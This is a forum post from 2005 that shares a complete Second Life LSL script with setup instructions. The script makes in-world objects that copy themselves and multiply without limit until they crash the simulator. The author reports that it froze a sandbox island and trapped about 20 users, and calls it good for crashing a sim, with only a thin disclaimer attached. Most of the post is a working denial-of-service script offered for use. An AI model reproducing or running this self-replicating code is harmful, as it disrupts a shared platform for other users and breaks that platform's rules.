12-07-2005 07:38
I made this the other day. The original version locked sandbox island and trapped about 20 people. Had to log out and log back in at home to get away. Basically good if you want to crash a sim.

WARNING and DISCLAMER: Running this will most likely crash the sim you start it in. Trust me I had Linden personnel inform me of this the first time I accidentally set it off. Lets put it this way. This scrip can generate hundreds of objects in a matter of seconds. If you use it you will probably bet written up and or banned. So be warned. I am posting this as an example of self replicating objects and what not to do with them.

to use simply place in an object then place a copy of that object in it self so.

OBJECT: obj - contents
->this script
->obj - contents
->this script

CODE


//bad idea v1.5
//just because its a bad idea dosent mean i cant make it worse
//thus a quote by our fav invader ZIM
//you made the fires worse!!!
//ZIM - Worse or better??

vector generate_position()
{
vector v_pos = llGetPos();
float f_rand_x = llFrand(10) - 5;
float f_rand_y = llFrand(10) - 5;
float f_rand_z = llFrand(10) - 5;

while((v_pos.x + f_rand_x) > 254 || (v_pos.x + f_rand_x) < 1 )
{
f_rand_x = llFrand(10) - 5;
}
while((v_pos.y + f_rand_y) > 254 || (v_pos.y +f_rand_y) < 1 )
{
f_rand_y = llFrand(10) - 5;
}
while((v_pos.z + f_rand_z) > 254 || (v_pos.z + f_rand_z) < 1 )
{
f_rand_z = llFrand(10) - 5;
}

return v_pos + <f_rand_x,f_rand_y,f_rand_z>;
}

default
{
state_entry()
{
}

touch_start(integer total_number)
{
llRezObject("obj",generate_position(),<0,0,0>,<0,0,0,0>,0);
}

object_rez(key id)
{
llGiveInventory(id,"obj");
}

changed(integer change)
{
state spawn;
}
}

state spawn
{
state_entry()
{
llListen(4,"",NULL_KEY,"");
llRezObject("obj",generate_position(),<0,0,0>,<0,0,0,0>,0);
}
object_rez(key id)
{
llGiveInventory(id,"obj");
llRezObject("obj",generate_position(),<0,0,0>,<0,0,0,0>,0);

}
listen(integer chan,string name,key id,string msg)
{
if(msg == "killall")
{
llSay(4,"killall");
llDie();
}
}
}


well thats all folks. IM me if u got any questions